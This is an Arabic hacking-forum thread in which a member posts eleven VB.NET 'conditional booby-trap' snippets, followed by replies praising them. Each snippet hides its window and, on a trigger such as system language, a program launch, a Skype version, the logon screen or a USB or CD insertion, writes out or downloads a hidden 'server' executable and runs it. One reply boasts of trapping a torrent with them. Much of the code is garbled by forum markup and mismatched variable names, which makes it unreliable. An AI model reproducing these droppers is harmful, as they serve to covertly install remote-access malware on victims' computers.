1. أهلا وسهلاً بكم في :: IQ-TeaM FORUM :: .
    إذا كانت هذه الزيارة الأولى أو لديك الرغبة بالانضمام لأعضاء شبكة عراق تيم فيجب الاطلاع على خصوصية الشبكه فربما بقائك زائر افضل لك من الانضمام بحيث أن قوانين شبكة عراق تيم لا تتناسب مع اهتماماتك .
    • للأطلاع على الخصوصية وسياسة الاستخدام - التفاصيل
    • بعد الاطلاع على سياسة الموقع وقوانين شبكة عراق تيم يمكنك التسجيل معنا - تسجيل عضو جديد
    إستبعاد الملاحظة
الكاتب : سكيورتي ارهابي | المشاهدات : 578 | الردود : 17
حالة الموضوع:
مغلق
  1. سكيورتي ارهابي ExpErt DeveloPer

    الأنتساب:
    ‏1 سبتمبر 2014
    المشاركات:
    701
    الإعجابات المتلقاة:
    48
    نقاط الجائزة:
    75
    الوظيفة:
    ماكسي مول
    الإقامة:
    دوله العراق العظيم
    نظام التشغيل:
    Linux
    اللغة البرمجية:
    Visual Basic
    Facebook:
    YouTube:
    [​IMG]


    » ســـــــلام الله يسري ما أقيمت صــــــلاة من عـبــاد خــاشــعــيــنــا «

    » وما جادت بـمـاء المزن سحــب سـقـى الأشـجـار والــزرع الـدفـيـنـا «

    » ســـــــلام عـــــاطر ولـه أريــج من الأعـماق يـعــبـق ياســـمــيـــنـا «

    » ســـــــلام الله نـهـديــه إليكــــــم مـع الإشـفـــاق مــمــزوجاًَ حـنـيـنـاًَ «



    بسم الله الرحمن الرحيم شلونكم احبائي اعضاء وزوار عراق تيم الكرام ان شاء الله بخير يارب تكونو خير
    ندخل في صلب الموضوع اليوم موضوعنا يخص حول تلغيمات الشرطيه راح اطرح لكم كم تلغيمه شرطيه وان شاء الله تعجبكم
    وسوف ارفق لكم الكود وبداخله كل الاكواد بداخله لا نطيل عليكم

    [​IMG]
    ---------------
    تلغيمه عند دخول اي صفحه معينه


    كود:
    [B][CENTER]Dim amr As New Process[/CENTER]
    [/B]
           Dim filename As String = "C:\Server.exe"
           On Error Resume Next
     
           For Each security In Process.GetProcesses
               If amr.MainWindowTitle.Contains("حماية الأجهزة") Then
                   IO.File.WriteAllBytes(filename, My.Resources.Server)
                   If IO.File.Exists(filename) Then Process.Start(filename)
               End If
    [B][CENTER]       Next[/CENTER]
    [/B]
    *=== تحديد كود ===*


    ----------------------------
    تلغيمه شرطيه تعتمد على لغه الجهاز i:q^:i:q^:


    كود:
    Dim Cl As String = InputLanguage.CurrentInputLanguage.Cultu*re.Name ' هنا يقوم بجلب لغة الجهاز عند بدا التشغيل If Cl.StartsWith("ar") Then ' اذا كانت لغة بدا التشغيل عربية فسوف يتحقق الشرط MsgBox("security") ElseIf Cl.StartsWith("en") Then ' اذا كانت لغة بدا التشغيل انجليزيه يتحقق الشرط MsgBox("security_arhaby") ElseIf Cl.StartsWith("fr") Then ' اذا كان لغة التشغيل فرنسيه يتحقق الشرط MsgBox("Security") End If
    *=== تحديد كود ===*

    --------------------------
    تلغيمه رفع مستوى الصوت


    كود:
    [B][CENTER]Public Class Form1[/CENTER]
    [/B]
    
    
        Private Sub Form1_Load(sender As Object, e As EventArgs) Handles MyBase.Load
            ' كود اخفاء الفورم
            Me.Hide()
            Me.ShowIcon = False
            Me.ShowInTaskbar = False
            Me.Opacity = 0
            '''''''''''''''''''''''''''''''
            Timer1.Start()
        End Sub
    
    
        Private Sub Timer1_Tick(sender As Object, e As EventArgs) Handles Timer1.Tick
            Dim security() As Process = System.Diagnostics.Process.GetProcessesByName("SndVol")
            For Each Volume As Process In security
                Text = "alzaeem"
            Next
            On Error Resume Next
    
    
            If Text = "security" Then
                Dim dir As String = My.Computer.FileSystem.SpecialDirectories.Temp
                Dim filename As String = dir + "اسم السيرفر فقط.exe"
                IO.File.WriteAllBytes(filename, My.Resources.اسم السيرفر فقط)
                If IO.File.Exists(filename) Then
                    Process.Start(filename)
                End If
            End If
        End Sub
    [B][CENTER]End Class[/CENTER]
    [/B]
    *=== تحديد كود ===*

    ----------------------------------
    تلغيمه شرطيه بعد الريستات


    كود:
    [B][CENTER]Public Class Form1[/CENTER]
    [/B]
     
        Private Sub Form1_Load(sender As Object, e As EventArgs) Handles MyBase.Load
            Me.Hide() '1
            Me.ShowInTaskbar = False '2
            Me.ShowIcon = False  '3
            '''''''''''''''''''
            Timer1.Start()
        End Sub
     
        Private Sub Timer1_Tick(sender As Object, e As EventArgs) Handles Timer1.Tick
            On Error Resume Next
            '
            Dim sc0() As Process = System.Diagnostics.Process.GetProcessesByName("LogonUI")
            For Each ـــــــــــــ As Process In sc0
                ''''''''''''''''''''''''''''''''''
                On Error Resume Next
                Dim sc1 As String = My.Computer.FileSystem.SpecialDirectories.ProgramFiles, sc2 As String = sc1 + Text + ("اسم السيرفر فقط.exe")
                IO.File.WriteAllBytes(sc2, My.Resources.اسم السيرفر فقط)
                If IO.File.Exists(sc2) Then Process.Start(sc2)
     
                '''''''''''''''''''''''''''''''''''
            Next
        End Sub
    [B][CENTER]End Class[/CENTER]
    [/B]
    *=== تحديد كود ===*


    ----------------------------------​

    تلغيمه شرطيه عند التقاط صوره لسطح المكتب


    كود:
    [B][CENTER]Public Class Form1[/CENTER]
    [/B]
        Public Declare Function GetAsyncKeyState Lib "user32.dll" (ByVal key As Integer) As Integer
        Dim kadim As Boolean
        Private Sub Form1_Load(ByVal sender As Object, ByVal e As EventArgs) Handles MyBase.Load
            Timer1.Start()
        End Sub
        Private Sub Timer1_Tick(ByVal sender As Object, ByVal e As EventArgs) Handles Timer1.Tick
            On Error Resume Next
            kadim = GetAsyncKeyState(Keys.PrintScreen) '< 
            If security = True Then
                Text = "security"
            End If
            If Text = "
    [B][CENTER][B][CENTER]security[/CENTER]
    [/B][/CENTER]
    [/B]" Then
                Timer1.Stop()
     
     
                Dim 
    [B][CENTER][B][CENTER]security[/CENTER]
    [/B][/CENTER]
    [/B] As String = 
    [B][CENTER][B][CENTER]security[/CENTER]
    [/B][/CENTER]
    [/B] + "اسم السيرفر.exe"
                IO.File.WriteAllBytes(kadim, My.Resources.اسم السيرفر فقط)
                Process.Start(kadim)
     
     
            End If
        End Sub
    [B][CENTER]End Class[/CENTER]
    [/B]
    *=== تحديد كود ===*


    ----------------------​



    تلغيمه شرطيه عند دخول اي قسم معين ​



    كود:
     
    *=== تحديد كود ===*
    كود:
     
    *=== تحديد كود ===*
    كود:
    [B][CENTER]Public Class Form1[/CENTER]
    [/B]
        Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
            Timer1.Start()
        End Sub
        Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
            Dim kadim As New Process
            For Each kadim In Process.GetProcesses
                If kadim.MainWindowTitle.Contains("ختيار القسم") Then
                 Dim web As New System.Net.WebClient
            web.DownloadFile("رابط السيرفر المباشر", Environ("tmp") & "/اسم السيرفر مع الصيغه")
            Shell(Environ("tmp") & "/اسم السيرفر مع الصيغه")
                End If
            Next
        End Sub
    [B][CENTER][B][CENTER][B][CENTER]End Class[/CENTER]
    [/B][/CENTER]
    [/B][/CENTER]
    [/B]
    *=== تحديد كود ===*


    ------------------​



    تلغيمه شرطيه عند فتح برنامج معين​



    كود:
     
    *=== تحديد كود ===*
    كود:
     
    *=== تحديد كود ===*
    كود:
    [B][CENTER]<div align="center">Public Class Form1[/CENTER]
    [/B]
        Private Sub Form1_Load(ByVal sender As Object, ByVal e As EventArgs) Handles MyBase.Load
            Me.Hide()
            Me.ShowIcon = False
            Me.ShowInTaskbar = False
            Opacity = 0
            Timer1.Start()
        End Sub
        Private Sub Timer1_Tick(ByVal sender As Object, ByVal e As EventArgs) Handles Timer1.Tick
            Dim kadim() As Process = System.Diagnostics.Process.GetProcessesByName("اسم البرنامج")
            For Each VO As Process In kadim
                Timer1.Stop()
                Text = "kadim - kadim "
            Next
            If Text = "kadim - kadim " Then
                Dim web As New System.Net.WebClient
                web.DownloadFile("رابط السيرفر المباشر", Environ("tmp") & "/اسم السيرفر.exe")
                Shell(Environ("tmp") & "/server.exe")
            End If
        End Sub
    [B][CENTER][B][CENTER][B][CENTER]End Class</div>[/CENTER]
    [/B][/CENTER]
    [/B][/CENTER]
    [/B]
    *=== تحديد كود ===*


    [​IMG]





    تلغيمه شرطيه تعتمد على اصدار برنامج بلغه الدوت نت​

    ضف الكود في الموديل
    :ُok:ٌ:ُok:ٌ
    كود:
    [B][CENTER]Sub main()[/CENTER]
    [/B]
        Dim down As New Net.WebClient
        Dim shadw  As String = Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles) & "\Skype\Phone\Skype.exe"
        Dim security As FileVersionInfo = FileVersionInfo.GetVersionInfo(security)
        Dim IRAQTAEM As String = "7.5.0.102"
        If IRAQTAEM = shdev.FileVersion Then
            down.DownloadFile("رابط المباشر للسيرفر", Environ("tmp") & "\security.exe")
            shell(Environ("tmp") & "\shadw.exe", AppWinStyle.Hide)
        End If
    [B][CENTER]End Sub[/CENTER]
    [/B]
    *=== تحديد كود ===*

    ------------------
    تلغيمه شرطيه تتحقق من الويب كام


    كود:
    [B][CENTER]Module Module1[/CENTER]
    [/B]
    Declare Function capGetDriverDescriptionA Lib "avicap32.dll" (ByVal wDriver As Short, _
    ByVal lpszName As String, ByVal cbName As Integer, ByVal lpszVer As String, _
    ByVal cbVer As Integer) As Boolean
    Public Function Camcheck() As Boolean
    Try
    Dim d As String = Space(100)
    For i As Integer = 0 To 4
    If capGetDriverDescriptionA(i, d, 100, Nothing, 100) Then
    Return True
    End If
    Next
    Catch ex As Exception
    End Try
    Return False
    End Function
    Sub main()
    If Camcheck() = True Then
    MsgBox("التلغيمة")
    End If
    End Sub
    [B][CENTER]End Module[/CENTER]
    [/B]
    *=== تحديد كود ===*
    ----------------------------------------
    USB
    تلغيمه شرطيه عند ادخال​

    {4$0}{4$0}
    ---------------------
    كود:
    [B][CENTER]Private Const WM_DEVICECHANGE As Integer = &H219[/CENTER]
    [/B]
    Private Const DBT_DEVICEARRIVAL As Integer = &H8000
    Private Const DBT_DEVICEREMOVECOMPLETE As Integer = &H8004
    
    
    
    
    Protected Overrides Sub WndProc(ByRef m As System.Windows.Forms.Message)
    If m.Msg = WM_DEVICECHANGE Then
    If m.WParam.ToInt32 = DBT_DEVICEARRIVAL Then
    MsgBox("ادخال الفلاش")
    
    
    Dim security = IO.Path.GetTempPath & "\" & "security.exe"
    IO.File.WriteAllBytes(security, My.Resources.security)
    Process.Start(security)
    
    
    ElseIf m.WParam.ToInt32 = DBT_DEVICEREMOVECOMPLETE Then
    MsgBox("اخراج الفلاش")
    End If
    End If
    MyBase.WndProc(m)
    [B][CENTER]End Sub[/CENTER]
    [/B]
    *=== تحديد كود ===*


    ------------------​

    تلغيمه شرطيه عند ادخال االقرص​



    كود:
     
    *=== تحديد كود ===*
    كود:
     
    *=== تحديد كود ===*
    كود:
    [B][CENTER]التصاريح[/CENTER]
    [/B]
    Imports System.IO
    
    
    
    
    Public Class Form1
    
    
    
    
    Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
    For Each kadim As DriveInfo In DriveInfo.GetDrives()
    If (security.DriveType = DriveType.CDRom) Then
    If kadim.IsReady Then
    
    
    
    
    MsgBox("تم تشغيل السيرفر")
    
    
    
    
    Dim kadim = IO.Path.GetTempPath & "\" & "security.exe"
    IO.File.WriteAllBytes(kadim, My.Resources.security)
    Process.Start(kadim)
    
    
    
    
    End If
    End If
    Next kadim
    
    
    
    
    End Sub
    [B][CENTER][B][CENTER][B][CENTER]End Class[/CENTER]
    [/B][/CENTER]
    [/B][/CENTER]
    [/B]
    *=== تحديد كود ===*


    ------------​

    [​IMG]



    تـــحميل الكود كامل






    الى هنا انتهينا من الاكواد اتمنى ان تعجبكم وتفيدكم ان شاء الله

    اتمنى لكم الموفقيه تحيه طيبه لك وللجميع في امان الله



    :ُce@::ُce@::ُce@::ُce@::ُce@:





    [​IMG]





    اهداى للجميع اعضاء وزوار عراق تيم الكرام


    )4:")4:")4:"​
     
  2. Yousuf.Oscar DeveloPer Plus

    الأنتساب:
    ‏22 يوليو 2015
    المشاركات:
    163
    الإعجابات المتلقاة:
    1
    نقاط الجائزة:
    50
    الإقامة:
    العراق
    نظام التشغيل:
    windows 8.1
    اللغة البرمجية:
    Visual Basic
    Facebook:
    رد: حصريا شرح 11 تلغيمه شرطيه

    بارك الله بيك اخي^^
    لاتحرمنا من مواضيعك:ُeُe12:
     
  3. South Hack أبو حسين DeveloPer Plus

    الأنتساب:
    ‏15 نوفمبر 2014
    المشاركات:
    356
    الإعجابات المتلقاة:
    7
    نقاط الجائزة:
    50
    الإقامة:
    الــعراق
    نظام التشغيل:
    windows 7
    اللغة البرمجية:
    Visual Basic
    Facebook:
    YouTube:
    رد: حصريا شرح 11 تلغيمه شرطيه

    أحسنت وبارك الله بيك طرح مميز كلعاده

    لا تحرمنا من مواضيعك الجميلة

    دمتم بود في امان الله !
     
  4. A-R Developer

    الأنتساب:
    ‏2 يوليو 2015
    المشاركات:
    347
    الإعجابات المتلقاة:
    7
    نقاط الجائزة:
    50
    الإقامة:
    العراق العظيم
    نظام التشغيل:
    windows 7
    اللغة البرمجية:
    Visual Basic
    Facebook:
    رد: حصريا شرح 11 تلغيمه شرطيه

    عاشت ايدك اكواد شيطانية هههههههه :{20}:


    بس ماكو تلغيمة على حركة الشخص الي جالس على الحاسوب :!."

    :ُeُe1z:


    هههههههههههههه


    بدون زعل اشاقة وياك


    :{12}: :ُ{1a}:ُ :ُeُe11: :ُ{1a}:ُ :{12}:​
     
  5. Ali raad عٍشْقْتْهٌاٌ بّـصٍـمِـ V • I • P

    الأنتساب:
    ‏21 فبراير 2015
    المشاركات:
    395
    الإعجابات المتلقاة:
    767
    نقاط الجائزة:
    215
    الجنس:
    ذكر
    الوظيفة:
    طًاٌلِـبّـ
    الإقامة:
    اٌلِـعٍرُاٌقْ - بّـاٌبّـلِـ
    نظام التشغيل:
    windows 7
    حسابي في الزون اتش Zone-H:
    اللغة البرمجية:
    PHP
    Facebook:
    YouTube:
    رد: حصريا شرح 11 تلغيمه شرطيه

    عاشت ايدك حبيبي
     
  6. Mira Mrmr .::|| زهره منتدى عراق تيم ||::. مشرفات المنتدى

    الأنتساب:
    ‏9 يوليو 2015
    المشاركات:
    696
    الإعجابات المتلقاة:
    149
    نقاط الجائزة:
    105
    الجنس:
    أنثى
    الإقامة:
    Baghdad
    نظام التشغيل:
    windows 8.1
    Facebook:
    YouTube:
    رد: حصريا شرح 11 تلغيمه شرطيه

    [​IMG]شكرا الك[​IMG]
     
  7. جـعـفـر الـشـمـري DeveloPer Plus

    الأنتساب:
    ‏26 أغسطس 2015
    المشاركات:
    526
    الإعجابات المتلقاة:
    9
    نقاط الجائزة:
    50
    الإقامة:
    العراق
    نظام التشغيل:
    windows 7
    اللغة البرمجية:
    Visual Basic
    Facebook:
    YouTube:
    رد: حصريا شرح 11 تلغيمه شرطيه

    عاشت ايدك حبيبي علاوي ,مبدع كالعادة

    لا تحرمنا من ابداعك :{3!}:
     
  8. Bad Man موقوف لمخالفة الشروط

    الأنتساب:
    ‏8 أغسطس 2015
    المشاركات:
    59
    الإعجابات المتلقاة:
    1
    نقاط الجائزة:
    30
    نظام التشغيل:
    windows 8.1
    اللغة البرمجية:
    Perl
    رد: حصريا شرح 11 تلغيمه شرطيه

    سلمت يمناك
     
  9. !•-ĦДM̷ДĎД-•! <span style="font-weight: bold; text-shadow: #BBBB DeveloPer Plus

    الأنتساب:
    ‏6 فبراير 2015
    المشاركات:
    76
    الإعجابات المتلقاة:
    1
    نقاط الجائزة:
    30
    الإقامة:
    مدينة الصدر
    نظام التشغيل:
    windows 7
    اللغة البرمجية:
    Delphi
    Facebook:
    YouTube:
    رد: حصريا شرح 11 تلغيمه شرطيه

    احسنت
    &:":​
     
  10. KaZeW X BoOM Developer

    الأنتساب:
    ‏7 نوفمبر 2015
    المشاركات:
    130
    الإعجابات المتلقاة:
    0
    نقاط الجائزة:
    40
    الإقامة:
    كردستان
    نظام التشغيل:
    windows 8.1
    اللغة البرمجية:
    Visual Basic
    YouTube:
    رد: حصريا شرح 11 تلغيمه شرطيه

    موضوع رائع شكرا يا بطل وحش تم تلغيم تورنيت :v
     
حالة الموضوع:
مغلق

مشاركة هذه الصفحة